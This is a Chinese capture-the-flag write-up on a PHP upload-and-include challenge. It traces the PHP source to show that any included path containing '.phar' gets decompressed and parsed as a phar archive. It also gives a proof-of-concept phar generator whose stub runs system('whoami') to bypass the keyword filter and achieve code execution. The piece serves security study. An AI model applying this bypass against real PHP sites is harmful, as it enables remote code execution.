前言
当看完陆队的The End Of LFI?后,本来以为include已经玩不出什么花样了,没想到php不愧是php,总有你想不到的各种奇奇怪怪的trick
题目内容
题目的内容比较简单,一个index.php和一个upload.php,和我上次出的题差不多(
<?php
# index.php
session_start();
error_reporting(0);
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
if (!isset($_GET['url'])) {
die("Nope :<");
}
$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if (!file_exists($SANDBOX . '/' . $include_url)) {
die("Nope :<");
}
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("Nope :<");
}
@include($SANDBOX . '/' . $include_url);
?>
<?php
# upload.php
session_start();
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = random_bytes(4);
}
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
mkdir($SANDBOX);
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}
// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) {
die('Nope :<');
}
// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('Nope :<');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
echo "File upload success!";
}
}
}
?>
<form enctype='multipart/form-data' action='upload.php' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>
然后docker环境也非常简单,没有配什么奇怪的东西,全是默认配置,php版本也非常高,基本上能想到的一些绕过trick都绕不了:
FROM php:8.2-apache
RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
apt-get install -y \
gcc \
libbz2-dev && \
docker-php-ext-install bz2 && \
rm -rf /var/lib/apt/lists/
RUN rm -rf /var/www/html/*
COPY flag.txt readflag.c /
RUN gcc -o /readflag /readflag.c && \
rm /readflag.c
RUN chown 0:1337 /flag.txt /readflag && \
chmod 040 /flag.txt && \
chmod 2555 /readflag
COPY src/index.php src/upload.php /var/www/html/
RUN chown -R root:root /var/www && \
find /var/www -type d -exec chmod 555 {} \; && \
find /var/www -type f -exec chmod 444 {} \; && \
mkdir /var/www/html/uploads && \
chmod 703 /var/www/html/uploads
RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
USER root
EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
简单来说,我们可以上传一个文件,但必须是'zip', 'bz2', 'gz', 'xz', '7z'
其中之一,并且严格检查了你上传的文件里的关键字,不能出现__HALT_COMPILER()
、PK
、<?
和<?php
,如果通过验证,会使用$include_url = basename($_GET['url'])
获取到文件然后用@include($SANDBOX . '/' . $include_url)
进行include
难点很明显,使用了basename
获取文件名,而且最后include的还是$SANDBOX . '/' . $include_url
,因此我们这里是没办法使用伪协议的,比如什么phar://
,压根没有可控点。其次我们上传的文件里被过滤了关键字,特别是<?
,并且对应的环境里只能用<?php
当作php标签,其他骚操作比如<script language="php">
、<% %>
是解析不了的。而且这里的代码里也没有什么解压操作,上传了啥文件就是include了啥文件,导致关键字绕过几乎成了不可能的事,反正我当时是没做出来,还是太菜了。
深入include底层
下一份php源码:https://github.com/php/php-src/archive/refs/tags/php-8.3.23.zip
当我们include一个文件的时候,会调用一个叫做compile_filename
的方法:
zend_op_array *compile_filename(int type, zend_string *filename)
{
zend_file_handle file_handle;
zend_op_array *retval;
zend_string *opened_path = NULL;
zend_stream_init_filename_ex(&file_handle, filename);
retval = zend_compile_file(&file_handle, type);
if (retval && file_handle.handle.stream.handle) {
if (!file_handle.opened_path) {
file_handle.opened_path = opened_path = zend_string_copy(filename);
}
zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);
if (opened_path) {
zend_string_release_ex(opened_path, 0);
}
}
zend_destroy_file_handle(&file_handle);
return retval;
}
这个函数 compile_filename
是 Zend 引擎(PHP 内核)的一个内部函数,他的作用是编译给定的 PHP 文件,返回其对应的 zend_op_array(即可执行的中间代码),并将文件路径加入全局已包含文件列表,防止重复 include,可以看到其中有一行调用了zend_compile_file
,顾名思义,它的作用是使用 Zend 的编译器编译这个文件。
继续定位到phar对应的编译方法,需要看到phar_compile_file
:
static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
zend_op_array *res;
zend_string *name = NULL;
int failed;
phar_archive_data *phar;
if (!file_handle || !file_handle->filename) {
return phar_orig_compile_file(file_handle, type);
}
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;
/* zip or tar-based phar */
name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
zend_stream_init_filename_ex(&f, name);
if (SUCCESS == zend_stream_open_function(&f)) {
zend_string_release(f.filename);
f.filename = file_handle->filename;
if (f.opened_path) {
zend_string_release(f.opened_path);
}
f.opened_path = file_handle->opened_path;
switch (file_handle->type) {
case ZEND_HANDLE_STREAM:
if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
file_handle->handle.stream.closer(file_handle->handle.stream.handle);
}
file_handle->handle.stream.handle = NULL;
break;
default:
break;
}
*file_handle = f;
}
} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
/* compressed phar */
file_handle->type = ZEND_HANDLE_STREAM;
/* we do our own reading directly from the phar, don't change the next line */
file_handle->handle.stream.handle = phar;
file_handle->handle.stream.reader = phar_zend_stream_reader;
file_handle->handle.stream.closer = NULL;
file_handle->handle.stream.fsizer = phar_zend_stream_fsizer;
file_handle->handle.stream.isatty = 0;
phar->is_persistent ?
php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
php_stream_rewind(phar->fp);
}
}
}
zend_try {
failed = 0;
CG(zend_lineno) = 0;
res = phar_orig_compile_file(file_handle, type);
} zend_catch {
failed = 1;
res = NULL;
} zend_end_try();
if (name) {
zend_string_release(name);
}
if (failed) {
zend_bailout();
}
return res;
}
可以看到当他判断到strstr(ZSTR_VAL(file_handle->filename), ".phar")
,也就是发现文件名中包含字符串 .phar
,会调用phar_open_from_filename
,继续跟phar_open_from_filename
:
可以看到这里调用了一个叫phar_open_from_fp
的东西,继续跟一下:
static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
static const char token[] = "__HALT_COMPILER();";
static const char zip_magic[] = "PK\x03\x04";
static const char gz_magic[] = "\x1f\x8b\x08";
static const char bz_magic[] = "BZh";
char *pos, test = '\0';
int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
const int window_size = 1024;
char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
const zend_long readsize = sizeof(buffer) - sizeof(token);
const zend_long tokenlen = sizeof(token) - 1;
zend_long halt_offset;
size_t got;
uint32_t compression = PHAR_FILE_COMPRESSED_NONE;
if (error) {
*error = NULL;
}
if (-1 == php_stream_rewind(fp)) {
MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
}
buffer[sizeof(buffer)-1] = '\0';
memset(buffer, 32, sizeof(token));
halt_offset = 0;
/* Maybe it's better to compile the file instead of just searching, */
/* but we only want the offset. So we want a .re scanner to find it. */
while(!php_stream_eof(fp)) {
if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
}
if (!test && recursion_count) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
char err = 0;
php_stream_filter *filter;
php_stream *temp;
/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
zval filterparams;
if (!PHAR_G(has_zlib)) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
}
array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);
/* entire file is gzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
if (!filter) {
err = 1;
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
zend_array_destroy(Z_ARR(filterparams));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
} else {
zend_array_destroy(Z_ARR(filterparams));
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
if (err) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_GZ;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
break;
}
continue;
} else if (!memcmp(pos, bz_magic, 3)) {
php_stream_filter *filter;
php_stream *temp;
if (!PHAR_G(has_bz2)) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
}
/* entire file is bzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
}
php_stream_rewind(fp);
filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));
if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
}
php_stream_filter_append(&temp->writefilters, filter);
if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
}
php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_BZ2;
/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
break;
}
continue;
}
if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}
if (got >= 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
}
}
}
if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}
halt_offset += got;
memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
}
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}
直接让ai帮我解释一下:phar_open_from_fp()
是用于从一个 php_stream
(即打开的文件流)中解析并打开一个 Phar 文件(PHP Archive)的函数:
打开 phar 文件流
↓
尝试 rewind 到起始位置
↓
是否 gzip?→ 解压 → rewind
是否 bzip2?→ 解压 → rewind
是否 zip?→ phar_parse_zipfile
是否 tar?→ phar_parse_tarfile
↓
扫描 __HALT_COMPILER();
↓
找到了 → phar_parse_pharfile()
找不到 → 报错并退出
你可能会奇怪一个事,明明函数叫 phar_open_from_fp
,不是“打开 Phar 文件”的吗?为什么还要判断 gzip、bzip2、zip、tar 呢?这些不是非 Phar 吗?其实这些格式也可以是合法的 Phar 文件容器,Phar 文件本质上是容器格式,不是文件后缀决定的,PHP 的 Phar 扩展支持将一个 Phar 文件封装成以下几种格式:
文件结构 | 是否支持作为 Phar | 是否需要特殊处理 |
---|---|---|
纯 PHP 脚本(有 __HALT_COMPILER(); ) | ✅ | 默认支持 |
gzip 压缩的 Phar | ✅ | 需要解压 |
bzip2 压缩的 Phar | ✅ | 需要解压 |
tar 格式的打包 | ✅ | 用 .phar.tar 或 .tar.phar |
zip 格式的打包 | ✅ | .phar.zip 或 .zip.phar |
完全不是 Phar | ❌ | 报错 |
比如下面是一个合法的 gzip 压缩 Phar:
php -d phar.readonly=0 -r '
$phar = new Phar("test.phar");
$phar["index.php"] = "<?php echo 123;";
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->compress(Phar::GZ); // 关键!
'
生成的 test.phar
:
- 外表是 gzip 格式;
- 里面是 tar + Phar 元数据;
- PHP 打开它的时候就需要:
- 判断是 gzip;
- 解压到临时流;
- 再继续扫描
__HALT_COMPILER();
或 tar header;
要是我们打包成了zip,那么 PHP 会识别成 zip,通过 phar_parse_zipfile()
去解析。
最后的结论就是,比如我们生成了一个phar文件,然后把他打包成gz文件,当我们include这个gz文件时,php会默认把这个gz文件解压回phar进行解析,比如我们用下面这个代码生成一个phar文件:
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
可以看到现在还有明显的关键字:
现在打包一下,可以看到关键字已经完全消失了:
当我们include这个phar.gz文件时,php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件,而这里有关键字:
<?php
system('whoami');
__HALT_COMPILER();
?>
所以就直接rce了:
当然,在前面我们跟代码的时候应该还记得,他的判断逻辑是只要文件名里有.phar这几个字就行:
所以事实上我们完全不需要保证最后include的是一个xxx.phar.gzip文件,只要文件名里有.phar即可,所以说无论我们是include 1.phar.png还是1.phar.html均可以正常rce:
甚至只要包含的路径里带了.phar这几个字就能解析 哪怕是目录也行:
但如果没有.phar这几个字就不能解析了:
后记
太伟大了PHP
狗哥搞个更牛的php出来